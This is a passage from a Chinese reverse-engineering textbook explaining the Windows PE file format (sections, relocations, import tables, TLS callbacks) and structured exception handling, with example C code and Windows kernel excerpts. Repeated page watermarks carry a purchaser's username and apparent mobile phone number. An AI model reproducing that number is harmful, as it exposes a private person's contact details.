程序确实可以启动得起来,但是在程序启动得时候外部参数没有被准备或传递过来。 不能直接采用包括 4 个参数在内的主函数 WinMain()的方式,而且不采用 main()函数。更加精确一点 来说,虽然能传递参数,但是参数不是在程序一执行时就被传递的。 另外,如果通过编译指令限定 PE 段向更小地址对齐(默认值是 4096 字节),那么.编译器将会生成尺 寸更小的 exe 文件: cl no_crt.c user32.lib /link /entry:main /align:16 链接器 Linker 将会提示: LINK : warning LNK4108: /ALIGN specified without /DRIVER; image may not run 上述指令将生成一个长度为 720 字节的 exe 可执行文件。它可以运行于 x86 构架的 Windows 7 系统,但是却不能运行于 64 位的 Windows 7 系统(执行的时候,系统会给出错误提示)。从这里我 们可以看到,虽然我们可以想办法让可执行文件变得更短一些,但是同时兼容性问题也会越来越 突出。 68.2 Win32 PE 文件 PE(Portable Executable)格式,是微软 Windows 环境可移植可执行文件(如 exe、dll、vxd、sys 和 vdm 等)的标准文件格式。 与其他格式的 PE 文件不同的是,exe 和 sys 文件通常只有导入表而没有导出表。 和其他的 PE 文件一样,DLL 文件也有一个原始代码入口点 OEP(就是 DllMain()函数的地址)。但是 DLL 的这个函数通常来讲什么也不会做。 sys 文件通常来说是一个系统驱动程序。说到驱动程序,Windows 操作系统需要在 PE 文件里保存其校 验和,以验证该文件的正确性(Hiew 就可以验证这个校验和)。 从 Vista 开始,所有的 Windows 驱动程序必须具备数字签名,否则系统会拒绝加载它们。 每个 PE 文件都由一段打印“This program cannot be run in DOS mode.”的 DOS 程序块开始。如果在 DOS 或者 Windows 3.1 环境下运行这个程序,那么只会看到上述字符串。因为 DOS 及 Windows 3.1 系统不能 识别 PE 格式的文件。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 670 逆向工程权威指南(下册) 68.2.1 术语  模块 Module:它是指一个单独的 exe 或者 dll 文件。  进程 Process:加载到内存中并正在运行的程序,通常由一个 exe 文件和多个 dll 文件组成。  进程内存 Process memory:每个进程都有完全属于自己的,进程间独立的,不被干扰的内存空间。 通常是模块、堆、栈等数据构成。  虚拟地址 VA(Virtual Address):程序访问存储器所使用的逻辑地址。  基地址 Base Address:进程内存中加载模块的首地址。  相对虚拟地址 RVA(Relative Virtual Address):虚拟 地址 VA 与基地址 Base Address 的差就是相对 虚拟地址 RVA。在 PE 文件表中的很多地址都是相对虚拟地址 RVA。  导入地址表 IAT(Import Address Table):导入符号的地址数组。PE 头里的 IMAGE_DIRECTORY_ ENTRY_IAT 指向第一个导入地址表 IAT 的开始位置。值得说明的是,反编译工具 IDA 可能会给 IAT 虚构一个伪段--.idata 段,即使 IAT 是其他地址的一部分。  导入符号名称表 INT(Import Name Table):存储着所需符号名称的数组。 68.2.2 基地址 在开发各自的 DLL 动态链接库文件时,多数开发团队都有意让其他人直接调用自己的动态链接库。然 而,具体到“谁的 DLL 到底应该加载到哪个地址”这种问题,却没有一种公开的协议或标准。 因此,当同一个进程的两个 DLL 库具有相同的基地址时,只会有一个 DLL 被真正加载到基地址上。 而另外一个 DLL 则会分配到进程内存的某段空闲空间里。在调用后者时,每个虚拟地址都会被重新校对。 通常来说,MSVC 编译成的可执行程序的基地址都是 0x400000,而代码段则从 0x401000 开始。由此可知, 这种程序代码段的相对虚拟地址 RVA 的首地址都是 0x1000。而 MSVC 通常把 DLL 的基地址设定为 0x10000000。 操纵系统可能会把模块加载到不同的基地址中,还可能是因为程序自身的要求。当程序“点名”启用 地址空间分布的随机化(Address Space Layout Randomization,ASLR)技术的时候,操作系统会把其各个 模块加载到随机的基地址上。 ASLR 是 shellcode 的应对策略。shellcode 都会调用系统函数。 在 Windows Vista 之前早期系统里,系统的 DLL(如 kernel32.dll,user32.dll 的加载地址是已知的固定 地址。在同一个版本的操作系统里,系统 DLL 里的系统函数地址也几乎一尘不变。也就是说,shellcode 可以根据版本信息直接调用系统函数。 为了避免这个问题,地址空间分布的随机化 ASLR 技术应运而生。它能够将程序以及程序所需模 块加载到无法事先确定的随机地址。 在PE 文件中,我们通过设置一个标识来实现ASLR。这个标识的名称是:IMAGE_DLL_CHARACTERISTICS_ DYNAMIC_BASE。 68.2.3 子系统 PE 文件有一个子系统字段。这个字段的值通常是下列之一:  NATIVE(系统驱动程序)。  console 控制台程序。  GUI(非控制台程序,也就是最常见的图文界面程序)。 68.2.4 操作系统版本 PE 文件还指定了可加载它的 Windows 操作系统最低版本号。如需查阅版本号码和 Windows 发行名称 的完整列表,请参阅:https://en.wikipedia.org/wiki/Windows_NT#Releases。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 671 举个例子,MSVC 2005 编译的.exe 文件只能运行在 Windows NT4(版本号为 4.00)及以后的操作系统 上。但是 MSVC 2008 编译调应用程序(版本号是 5.00)不兼容 NT4 系统,只能运行于 Windows 2000 及以 后的操作系统。 在 MSVC 2012 生成的.exe 文件里,操作系统版本号的默认值是 6.00。这种程序仅面向 Windows Vista 及后 期推出的操作系统。但我们可以编译选项强制编译器生成支持 Windows XP 的应用程序。详情请参阅 https://blogs.msdn.microsoft.com/vcblog/2012/10/08/windows-xp-targeting-with-c-in-visual-studio-2012/。 68.2.5 段 所有的可执行文件都可分解为若干段(sections)。段是代码和数据、以及常量和其他数据的组织形式。  带有 IMAGE_SCN_CNT_CODE 或 IMAGE_SCN_MEM_EXECUTE 标识的段,封装的是可执行代码。  数据段的标识为 IMAGE_SCN_CNT_INITIALIZED_DATA、IMAGE_SCN_MEM_READ 或 IMAGE_ SCN_MEM_WRITE 标记。  未初始化的数据的空段的标识为 IMAGE_SCN_CNT_UNINITIALIZED_DATA、IMAGE_SCN_ MEM_READ 或 IMAGE_SCN_MEM_WRITE。  常数数据段(其中的数据不可被重新赋值)的标识是 IMAGE_SCN_CNT_ INITIALIZED_DATA 以 及 IMAGE_SCN_MEM_READ,但是不包括标识 IMAGE_SCN_MEM_WRITE。如果进程试图往这个 数据段写入数据,那么整个进程就会崩溃。 PE 可执行文件的每个段都可以拥有一个段名称。然而,名称不是段的重要特征。通常来说,代码段的 段名称是.text,数据段的段名称是.data,常数段的段名称.rdata(只读数据)。其他类型的常见段名称还有:  .idata:导入段。IDA 可能会给这个段分配一个伪名称;详情请参考本书 68.2.1 节。  .edata:导出段。这个段十分罕见。  .pdata:这个段存储的是用于异常处理的函数表项。它包含了 Windors NT For MIPS、IA64 以及 x64 所需的全部异常处理信息。详情请参考本书的 68.3.3 节。  .reloc:(加载)重定向段。  .bss:未初始化的数据段(BSS)。  .tls:线程本地存储段(TLS)。  .rsrc:资源。  .CRT:在早期版本的 MSVC 编译出的可执行文件里,可能出现这个这个段。 经过加密或者压缩处理之后,PE 文件 section 段的段名称通常会被替换或混淆。 此外,开发人员还可以控制 MSVC 编译器、设定任意段的段名称。有关详情请参阅:https://msdn.microsoft. com/en-us/library/windows/desktop/cc307397.aspx。 部分编译器(例如 MinGW)和链接器可以在生成的可执行文件中加入带有调试符号、或者其他的调 试信息的独立段。然而新近版本的 MSVC 不再支持这项功能。为了便于专业人员分析和调试应用程序, MSVC 推出了全称为“程序数据库”的 PDB 文件格式。 PE 格式的 section 段的数据结构大体如下: typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 672 逆向工程权威指南(下册) WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; 上述代码摘自于:https://msdn.microsoft.com/en-us/library/windows/desktop/ms680341(v=vs.85).aspx。 简单的说,上述 PointerToRawData(指向原始数据)就是段实体的偏移量 Offset,而虚拟地址 VirtualAddress 就是 Hiew 里的 RVA。 68.2.6 重定向段 Relocations(relocs) 至少在 Hiew 中,它也可以表示为 FIXUP-s。 重定位段是自 MS-DOS 时代起一直存在于可执行文件的实体段,几乎所有的可执行文件都有这个段。 前文介绍过,程序模块可能会被加载到不同的基地址。但是如何处理全局变量等局部共享数据呢?程序 必须通过地址指针才能访问这类数据,然而程序又不可能事先知道共享数据的存储地址。为解决这个问题, 人们推出了“位置无关代码/PIC”(详情请参阅 67.1 节)的解决方案。不过 PIC 用起来并不方便。 于是,人们又推出了基于“重定向表”的地址修正技术。重定向表记录了该文件被加载到不同基地址时 需要修正的所有指针。 如果 PE 文件声明了一个地址为 0x410000 的全局变量,那么这个变量的寻址指令大致会是: A1 00 00 41 00 mov eax,[000410000] 此时,模块的基地址是 0x400000(编译器默认值),全局变量的相对虚拟地址 RVA 是 0x10000。 如果这个模块被加载到首地址为 0x500000 的基地址上,那么这个全局变量的真实地址应当被调整为 0x510000。 在上述 opcode 中,变量地址应当是 0xA1(“MOV EAX”指令)之后的那几个字节。为了通知操作系统 在重定向时正确处理该地址,PE 文件的重定向表必须收录这四个字节的相对地址。 当操作系统的加载器需要把这个模块加载到不同的基地址时,它会逐一枚举重定位表中所有地址,把 这些地址所指向的数据当作 32 位的地址指针,然后减去初始基地址(这样就能获得 RVA,也就是相对虚 拟地址),并加上新的基地址。 如果模块被加载于其原始的基地址,那么操作系统就不会进行重定向处理。 所有全局变量的处理过程都是如此。 重定向段的数据结构并不唯一。Windows for x86 程序的重定向段一般采用IMAGE_REL_BASED_HIGHLOW 的数据结构。 另外,Hiew 用暗色区域显示重定向段,如图 7.12 所示。 而 OllyDbg 会在内存中用下画线的方式标记重定向段,如图 13.11 所示。 68.2.7 导出段和导入段 我们都知道,任何可执行文件都必须或多或少地调用由操作系统提供的服务或者 DLL 动态链接库。 广义地说,由某个模块(一般来说是 DLL)声明的所有函数,最终都会被其他模块(.exe 文件或者其 他 DLL)中的某条指令调用,只是调用方式不同而已。 为此,每一个 DLL 动态链接库文件都有一个“导出/exports“表。导出表声明了该模块定义的函数名 称和函数的地址。 同时每个 exe 文件和 DLL 文件另有一个“导入”表。这个表声明了执行该模块所需的函数名称、以及 相应 DLL 文件的文件名。 在加载完可执行文件主体的.exe 文件之后,操作系统加载器开始处理导入表:它会加载记录在案 的 DLL 文件,接着在 DLL 的导出表里查找所需函数的函数地址,最后把这些地址写到.exe 模块的 IAT 导入表。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 673 由此可见,操作系统的加载器在进程的加载过程中要比对大量的函数名称。但是检索字符串的效率不 会很高。后来人们引入了基于“排行榜”或者“命中率”(对应相关数据结构里的 Hints 或 Ordinal 字段) 的序号表示办法、把函数名称编排为数字,以此摆脱字符串操作的低效率问题。 因此,DLL 文件只需在导出表里标注内部函数的函数“序号”。这显著提升了 DLL 文件的加载速度 。 举例来说,调用 MFC 的程序就能够通过函数“序号”调用 mfc*.dll 动态链接库。而这种程序不再需要 导入段的数据表(Import Name Table,INT)中使用字符串存储 MFC 的函数名称。 当我们在 IDA 中加载这样的程序后,IDA 会询问 mfc*.dll 文件的路径以获取外部函数的函数名称。如 果我们没有指定 MFC 文件的存储路径,那么函数名称会是 mfc80_123 之类的字符串。 导入段 编译器通常会给导入表及其相关内容分配一个单独的 section 段(例如.idata),但这不是一个强制规定。 导入段涉及大量的技术术语,因此理解起来特别困难。本节将通过一个典型的例子进行集中演示。 导入段的主体是数组 IMAGE_IMPORT_DESCRIPTOR。它记录着 PE 文件要导入哪些库文件。 在其元素的数据结构中:  Name 字段存储着库名称字符串的 RVA 地址;  OriginalFirstThink 字段是 INT 表的 RVA 地址。逐一读取这个字段对应的 INT 数组的值,可获取相应 IMAGE_IMPORT_BY_NAME 地址(RVA)、进而得到全部函数名称。IMAGE_IMPORT_BY_NAME 表 (没有收录在图 68.1 里)里定义了一个 16 位整数的“hint”字段,它正是前文所说函数“序号”。 在加载模块时,如果可以通过序号检索所需函数名,那么操作系统加载器就不必进行费时的字符 串比对操作。 图 68.1 在 PE 范畴内与导入段相关的全部数据结构  FirstThunk 字段存储的是 IAT 表的表指针。IAT 表的每个成员元素都是由操作系统加载器解析出 异步社区会员 dearfuture(15918834820) 专享 尊重版权 674 逆向工程权威指南(下册) 来的函数地址(RVA)。IDA 会给这些元素添加“:_imp_CreateFileA”一类的名称标注。 由加载器解析出来的外部函数地址,至少有两种调用方法: ① 代码可通过 call_imp_CreateFileA 形式的指令直接调用外部函数。从某种意义上讲,导入函数的函数 地址存储到全局变量的存储空间了。考虑到当前模块可能会被加载于与初始值不同的基地址上,那么只要 把 call 指令引用的外部函数目标地址直接追加到 reclos 重定向表里就好了。 但是要把导入函数的函数地址全部追加到重定向段 relocs 里,会显著增加重定向表的数据容量。进一 步来说,重定向表越大、程序的加载效率就越低。 ② 另一种办法就是对每个调用点进行处理。在调用外部函数的时候,只要 JMP 到“重定向值+外部函数 RVA”就可以调用外部函数了。这种调用方式也叫做“形实转换/thunks”。调用外部函数时,程序可以直接 CALL 相应的 thunk 地址。这种调用方式无需进行重定位运算,因为 CALL 指令本身就能进行相对寻址,因 此不必修正 RVA 地址。 编译器能够分派上述两种调用方法。如果外部函数的调用频率很高,那么链接器 Linker 很可能会通过 thunk 调用外部函数。但是在默认情况下,链接器并不创建 thunk。 另外,FirstThunk 字段里的函数指针数组不必在 PE 文件的导入地址段(Input Address Table,IAT section) 中。笔者曾经编写过一个令.exe 文件添加外部函数信息的 PE_add_import 工具(https://yurichev.com/PE_add_ imports.html)。它就曾经成功的将 PE 文件引用的外部函数替换为另外一个 DLL 文件的其他函数。此时生成 的指令是: MOV EAX, [yourdll.dll!function] JMP EAX FirstThunk 字段存储的是外部函数第一条指令的地址。换而言之,在调用 youdll.dll 这类自定义动态链 接库的时候,加载器把程序代码的相应位置直接替换为外部函数 function 的函数地址。 需要注意的是代码段一般都是只读的。因此,我们的应用程序将在代码段上增加一个标志 IMAGE_SCN_MEM_WRITE。否则的话,调用期间会出现 5 号错误(禁止访问)。 可能有读者会问,如果程序只调用一套 DLL 文件,而且这些 DLL 文件里所有的函数名称和函数地址 保持不变,那么还能否进一步提高进程的加载速度? 答案是:可能的。实现在程序的 FirstThunk 数组里写入外部函数的函数地址即可。另外需要注意的是 IMAGE_IMPORT_DESCRIPTOR 结构体里的 Timestamp 字段。若这个字段有值,则加载器会判断 DLL 文 件的时间戳是否与这个值相等。如果它们相等,那么加载器不做进一步处理,加载速度可能会快些。这就 是所谓的“old-style binding(古板的绑定)”。Windows 的 SDK 中有一个名为 BIND.EXE 的工具可以专门进 行这项绑定设置。Matt Pietrek 在其发布的《An In-Depth Look into the Win32 Portable Executable File Format》 建议,终端用户应当在安装程序之后尽快进行这种时间戳绑定。 PE 文件的打包/加密工具也可能会压缩/加密导入表。在这种情况下,Windows 的加载器无法加载 全部所需的 DLL。这时,应由打包程序/加密程序负责加载外部函数。后者一般通过 LoadLibrary()和 GetProcAddress()来完成这项任务。 在 Windows 的安装程序的标准动态链接库 DLL 中,多数文件的导入地址表(Input Address Table,IAT) 都位于 PE 文件的头部。这大概是出于优化的考虑而刻意设计成这样的。当运行一个 exe 可执行文件时, exe 文件并不会被一次性地全部装载进内存(否则大型安装程序的加载速度就快得太离谱了),而是在访 问过程中被分部映射到内存里。其目的就是加快 exe 文件的加载速度。 68.2.8 资源段 位于 PE 文件资源段里的数据无非就是图表、图形、字符串以及对话框描述等界面信息。这些资源与 主程序指令分开存储,大概是为了方便实现多语言的支持:操作系统只需要根据系统的语言设置就可以选 取相应的文本或图片。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 675 而这其实也带来了一个副作用:因为 PE 可执行文件比较容易编辑,不具备 PE 文件专业知识的人也可 以借助工具(ResHack 等)直接修改程序资源。相关的介绍可以参见本书 68.2.11 节。 68.2.9 .NET .NET 的源程序并不会被编译成机器码,而会被编译成一种特殊的字节码。严格地说,这种.exe 文件由字节 码构成,并不是常规意义上的 x86 指令代码。但是这种程序的入口点(OEP)确实是一小段 x86 指令: jmp mscoree.dll!_CorExeMain .NET 格式的 PE 文件由 mscoree.dll 处理,它同时是.NET 程序的装载器。在 Windows XP 操作系统之 前,.net 程序都是通过上述 jmp 指令交由 mscoree.dll 处理的。自 Windows XP 系统起,操作系统的加载器 能自动识别.NET 格式的文件,即使没有上述 JMP 指令也可以正常加载.NET 程序。有关详情请参阅: https://msdn.microsoft.com/en-us/library/xh0859k0(v=vs.110).aspx 68.2.10 TLS 段 这个段里存储了 TLS 数据(第 65 章)的初始化数据(如果需要的话)。当启动一个新的线程时,TLS 的数据就是通过本段的数据来初始化的。 除此之外,PE 文件规范还约定了“TLS!”的初始化规范,即 TLS callbacks/TLS 回调函数。如果程序 声明了 TLS 回调函数,那么 TLS 回调函数会先于 OEP 执行。这项技术广泛应用于 PE 文件的压缩和加密 程序。 68.2.11 工具  Objdump(cygwin 版),可转储所有的 PE 文件结构。  Hiew(可以参考本书第 73 章)。这是一个编辑器。  Prefile。这是一个用来处理 PE 文件的 Python 库。  ResHack。它是 Resource Hacker 的简称,是一个资源编辑器。  PE_add_import。这是一个小工具,利用它可以将符号加入到 PE 可执行文件的导入表中。  PE_patcher。一个小工具,可以用来给 PE 文件打补丁。  PE_search_str_refs。一个小工具,可以用来在 PE 可执行文件中寻找函数,这些函数可能有些字符串。 68.2.12 更进一步  Daniel Pistelli:《.NET 文件格式》:https://www.codeproject.com/articles/12585/the-net-file-format。 68.3 Windows SEH 68.3.1 让我们暂时把 MSVC 放在一边 Windows 操作系统中,结构性例外程序处理机制(Structured Exception Handling,SEH)是用来处理异 常情况的响应机制。然而,它是与语言无关的,与 C++或者面向对象的编程语言(Oriented Object Programming,OOP)无任何关联。本节将脱离 C++以及 MSVC 的相关特效,单独分析 SEH 的特性。 每个运行的进程都有一条 SEH 句柄链,线程信息块(Thread Information Block,TIB)有 SHE 的最后一个 句柄。当出现异外时(比如出现了被零除、地址访问不正确或者程序主动调用 RaiseException()函数等情况), 操作系统会在线程信息块 TIB 里寻找 SEH 的最后一个句柄。并且把出现异常情况时与 CPU 有关的所有状 态(包括寄存器的值等数据)传递给那个 SEH 句柄。此时异常处理函数开始判断自己能否应对这种异常情 异步社区会员 dearfuture(15918834820) 专享 尊重版权 676 逆向工程权威指南(下册) 况。如果答案是肯定的,那么异常处理函数就会着手接管。如 果异常处理函数无法处理这种情况,它就会通知操作系统无法 处理它,此后操作系统会逐一尝试异常处理链中的其他处理程 序,直到找到能够应对这种情况的异常处理程序为止。 在异常处理链的结尾处有一个大家都接触过的异常处理程 序:它显示一个标准的对话框,通知用户进程已经崩溃,崩溃 时 CPU 的状态信息是什么情况,用户是否愿意把这些信息发送 给微软的开发人员。 图 68.3 Windows XP 下的崩溃细节 图 68.4 Windows 7 下的崩溃细节 早些时候,这个异常处理程序叫做 Dr. Watson。 另外,一些开发人员会在程序里设计自己的异常处理程序,以便收 集程序的崩溃信息。这些都是通过系统函数 SetUnhandledExceptionFilter() 注册的异常处理函数。当操作系统遇到无法应对的异常情况时,它就 会调用应用程序自己注册的异常处理函数。Oracle 的 RDBMS 就是 十分典型的一个例子:它会在程序崩溃时尽可能地转储 CPU 以及内存 数据。 接下来,我们研究一个初级的异常处理程序。它摘自于 https://www.microsoft.com/msj/0197/Exception/ Exception.aspx: #include <windows.h> #include <stdio.h> DWORD new_value=1234; EXCEPTION_DISPOSITION __cdecl except_handler( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _CONTEXT *ContextRecord, void * DispatcherContext ) { unsigned i; printf ("%s\n", __FUNCTION__); printf ("ExceptionRecord->ExceptionCode=0x%p\n", ExceptionRecord->ExceptionCode); printf ("ExceptionRecord->ExceptionFlags=0x%p\n", ExceptionRecord->ExceptionFlags); printf ("ExceptionRecord->ExceptionAddress=0x%p\n", ExceptionRecord->ExceptionAddress); if (ExceptionRecord->ExceptionCode==0xE1223344) { 图 68.5 Windows 8.1 下的崩溃截图 图 68.2 Windows XP 下的崩溃截图 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 677 printf ("That's for us\n"); // yes, we "handled" the exception return ExceptionContinueExecution; } else if (ExceptionRecord->ExceptionCode==EXCEPTION_ACCESS_VIOLATION) { printf ("ContextRecord->Eax=0x%08X\n", ContextRecord->Eax); // will it be possible to 'fix' it? printf ("Trying to fix wrong pointer address\n"); ContextRecord->Eax=(DWORD)&new_value; // yes, we "handled" the exception return ExceptionContinueExecution; } else { printf ("We do not handle this\n"); // someone else's problem return ExceptionContinueSearch; }; } int main() { DWORD handler = (DWORD)except_handler; // take a pointer to our handler // install exception handler __asm { // make EXCEPTION_REGISTRATION record: push handler // address of handler function push FS:[0] // address of previous handler mov FS:[0],ESP // add new EXECEPTION_REGISTRATION } RaiseException (0xE1223344, 0, 0, NULL); // now do something very bad int* ptr=NULL; int val=0; val=*ptr; printf ("val=%d\n", val); // deinstall exception handler __asm { // remove our EXECEPTION_REGISTRATION record mov eax,[ESP] // get pointer to previous record mov FS:[0], EAX // install previous record add esp, 8 // clean our EXECEPTION_REGISTRATION off stack } return 0; } 在 Win32 环境下,FS:段寄存器里的数据就是线程信息块(Thread Information Block,TIB)的指针。 而 TIB 中的第一个元素正是异常处理指针链里最后一个处理程序的地址。所谓“注册”异常处理程序就是 把自定义的异常处理程序的地址链接到这个异常处理指针链里。在注册异常处理程序时,需要使用一种名 为_EXCEPTION_REGISTRATION 的数据结构。它其实只是一个简单的单向链表,使用栈结构存储各项节 点的链数据。 指令清单 68.1 MSVC/VC/crt/src/exsup.inc \_EXCEPTION\_REGISTRATION struc prev dd ? handler dd ? \_EXCEPTION\_REGISTRATION ends 异步社区会员 dearfuture(15918834820) 专享 尊重版权 678 逆向工程权威指南(下册) 可见,每个节点的“handler”都是一个异常处理程序的启始地址,每个节点的“prev”字段都是上一 个节点的地址指针。而最后一个节点的“prev”字段的值为 0xFFFFFFFF(-1)。 在注册好我们自定义的异常处理程序以后,我们调用 RaiseException()函数、触发用户异常的处理过程。 异常处理程序首先检查异常代码,如果异常代码是 0xE1223344,它就返回 ExceptionContinueExecution。这 个返回值代表“已经纠正 CPU 的状态”(通常通过调整 EIP/ESP 寄存器实现)、“操作系统可以继续执行后 续指令”。如果把异常代码修改为其他值,那么处理函数的返回值则会变为 ExceptionContinueSearch。顾名 思义, 操作系统就会逐一尝试其他的异常处理程序—万一没有找到有关问题(并不仅仅是错误代码)的异 常处理程序,我们就会看到标准的 Windows 进程崩溃对话框。 系统异常(system exceptions)和用户异常(user exceptions)之间的区别是什么?系统异常的有关信 息是: 由 WinBase.h 定义的异常状态 在 ntstatus.h 里的相应状态 错误编号 EXCEPTION_ACCESS_VIOLATION STATUS_ACCESS_VIOLATION 0xC0000005 EXCEPTION_DATATYPE_MISALIGNMENT STATUS_DATATYPE_MISALIGNMENT0x80000002 EXCEPTION_BREAKPOINTSTATUS_ BREAKPOINT0x80000003 EXCEPTION_SINGLE_STEP STATUS_SINGLE_STEP 0x80000004 EXCEPTION_ARRAY_BOUNDS_EXCEEDED STATUS_ARRAY_BOUNDS_EXCEEDED 0xC000008C EXCEPTION_FLT_DENORMAL_OPERAND STATUS_FLOAT_DENORMAL_OPERAND 0xC000008D EXCEPTION_FLT_DIVIDE_BY_ZERO STATUS_FLOAT_DIVIDE_BY_ZERO 0xC000008E EXCEPTION_FLT_INEXACT_RESULT STATUS_FLOAT_INEXACT_RESULT 0xC000008F EXCEPTION_FLT_INVALID_OPERATION STATUS_FLOAT_INVALID_OPERATION 0xC0000090 EXCEPTION_FLT_OVERFLOW STATUS_FLOAT_OVERFLOW 0xC0000091 EXCEPTION_FLT_STACK_CHECK STATUS_FLOAT_STACK_CHECK 0xC0000092 EXCEPTION_FLT_UNDERFLOW STATUS_FLOAT_UNDERFLOW 0xC0000093 EXCEPTION_INT_DIVIDE_BY_ZERO STATUS_INTEGER_DIVIDE_BY_ZERO 0xC0000094 EXCEPTION_INT_OVERFLOW STATUS_INTEGER_OVERFLOW 0xC0000095 EXCEPTION_PRIV_INSTRUCTION STATUS_PRIVILEGED_INSTRUCTION 0xC0000096 EXCEPTION_IN_PAGE_ERROR STATUS_IN_PAGE_ERROR 0xC0000006 EXCEPTION_ILLEGAL_INSTRUCTION STATUS_ILLEGAL_INSTRUCTION 0xC000001D 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 679 续表 as defined in WinBase.h as defined in ntstatus.h numerical value EXCEPTION_NONCONTINUABLE_EXCEPTION STATUS_NONCONTINUABLE_EXCEPTION 0xC0000025 EXCEPTION_STACK_OVERFLOW STATUS_STACK_OVERFLOW 0xC00000FD EXCEPTION_INVALID_DISPOSITION STATUS_INVALID_DISPOSITION 0xC0000026 EXCEPTION_GUARD_PAGE STATUS_GUARD_PAGE_VIOLATION 0x80000001 EXCEPTION_INVALID_HANDLE STATUS_INVALID_HANDLE 0xC0000008 EXCEPTION_POSSIBLE_DEADLOCK STATUS_POSSIBLE_DEADLOCK 0xC0000194 CONTROL_C_EXIT STATUS_CONTROL_C_EXIT 0xC000013A 32 位错误代码的具体含义,如下图所示。 S 是最高的两位(第 30、31 位),为 基本的状态代码,一共有 4 种组合,分别是 11、10、01 以及 00。 它们分别代码的意义是:11 代表错误,10 代表警告,01 代表信息,00 代表成功。 U 是第 29 位(第 29 位),它只有 0 和 1 两种状态,代表该异常是否属于用户侧异常。 上面我们提到的一个返回值是 0xE1223344。最高的 4 位是 0xE(1110)。这几个比特位代表:①这 是属于用户态异常;②这是一个错误信息。实事求是地讲,本例这个程序与这些最高位的值没有关系; 而考究的异常处理程序应当能够充分利用错误代码的所有信息。 接着,程序试图读取地址为 0 的内存数据。这个地址实际就是 NULL 指针指向的地址。访问这个地址 必将导致系统错误,因为根据 ISO C 标准这个地址不应当存放任何数据(硬性规定)。此时操作系统会优 先调用程序自己注册的异常处理程序。后者会判断错误代码是否为 EXCEPTION_ACCESS_VIOLATION, 从而得知该异常是否是自己可以处理的问题。 读取地址为 0 的指令大致如下: 指令清单 68.2 MSVC2010 ... xor eax, eax mov eax, DWORD PTR [eax] ; exception will occur here push eax push OFFSET msg call _printf add esp, 8 ... 我们的程序是不是可以实时处理这个错误以使得程序能继续执行呢?答案是肯定的。我们的异常处理程 序能够修正 EAX 寄存器的值,让操作系统继续执行下去。这就是自定义异常处理程序的功能。字符串显示 函数 printf 显示的数值是 1234,因为执行了我们的异常处理函数之后,EAX 的数值不再是 0 了,而是全局变 量 new_value 的值。因此执行流程就得到了恢复。 以下就是程序执行的步骤:首先内存管理器检测出由中央处理器 CPU 发出的错误信息,接着 CPU 将 此进程挂起,并在 Windows 的内核中检索异常处理程序的句柄。然后依次调用 SEH 链的 handler。 本例是由 MSVC 2010 编译的程序。当然,我们并不能保证其他的编译程序同样会使用 EAX 寄存 器存放该指针。 它所演示的地址替换技巧非常的精妙。我经常使用这种技术演示 SEH 的内部构造。不过,我还不曾使 用这种技巧实时修复异常错误。 为什么 SEH 相关的记录存储于栈,而不是其他的地方?据说,如此一来操作系统就不需要关心这类数 据的释放操作,毕竟函数结束以后这些数据都会被自动释放。但是,笔者也不难 100%保证这种假说的正确 异步社区会员 dearfuture(15918834820) 专享 尊重版权 680 逆向工程权威指南(下册) 性。这有点像本书 5.2.4 节讲到的 alloca()函数。 68.3.2 让我们重新回到 MSVC 据说,C++语言开发环境已经能够稳妥的处理各种异常情况,只有 C 语言的开发人员才需要关注代码 的异常处理机制。所以微软推出了一个面向 MSVC 的非标准 C 扩展。这个扩展组件不适用于 C++程序。 有关详情请参阅:https://msdn.microsoft.com/en-us/library/swezty51.aspx __try { ... } __except(filter code) { handler code } 除了“try-except”语句之外,MSVC 还支持“try-finally”语句: __try { ... } __finally { ... } 前者中的“filter code”是一个用来判断是否执行“handler code(响应指令)”的表达式。如果代码太 长、无法表示为一个表达式,那么就得借助于独立的过滤函数。 Windows 内核就大量使用这种 SEH 结构。以 WRK(Windows Research Kernel)的某段指令为例: 指令清单 68.3 WRK-v1.2/base/ntos/ob/obwait.c try { KeReleaseMutant( (PKMUTANT)SignalObject, MUTANT_INCREMENT, FALSE, TRUE ); } except((GetExceptionCode () == STATUS_ABANDONED || GetExceptionCode () == STATUS_MUTANT_NOT_OWNED)? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { Status = GetExceptionCode(); goto WaitExit; } 指令清单 68.4 WRK-v1.2/base/ntos/cache/cachesub.c try { RtlCopyBytes( (PVOID)((PCHAR)CacheBuffer + PageOffset), UserBuffer, MorePages ? (PAGE_SIZE - PageOffset) : (ReceivedLength - PageOffset) ); } except( CcCopyReadExceptionFilter( GetExceptionInformation(), &Status ) ) { 下面也是一组过滤代码。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 681 指令清单 68.5 WRK-v1.2/base/ntos/cache/copysup.c LONG CcCopyReadExceptionFilter( IN PEXCEPTION_POINTERS ExceptionPointer, IN PNTSTATUS ExceptionCode ) /*++ Routine Description: This routine serves as a exception filter and has the special job of extracting the "real" I/O error when Mm raises STATUS_IN_PAGE_ERROR beneath us. Arguments: ExceptionPointer - A pointer to the exception record that contains the real Io Status. ExceptionCode - A pointer to an NTSTATUS that is to receive the real status. Return Value: EXCEPTION_EXECUTE_HANDLER --*/ { *ExceptionCode = ExceptionPointer->ExceptionRecord->ExceptionCode; if ( (*ExceptionCode == STATUS_IN_PAGE_ERROR) && (ExceptionPointer->ExceptionRecord->NumberParameters >= 3) ) { *ExceptionCode = (NTSTATUS) ExceptionPointer->ExceptionRecord->ExceptionInformation[2]; } ASSERT( !NT_SUCCESS(*ExceptionCode) ); return EXCEPTION_EXECUTE_HANDLER; } 从内部来讲,SEH 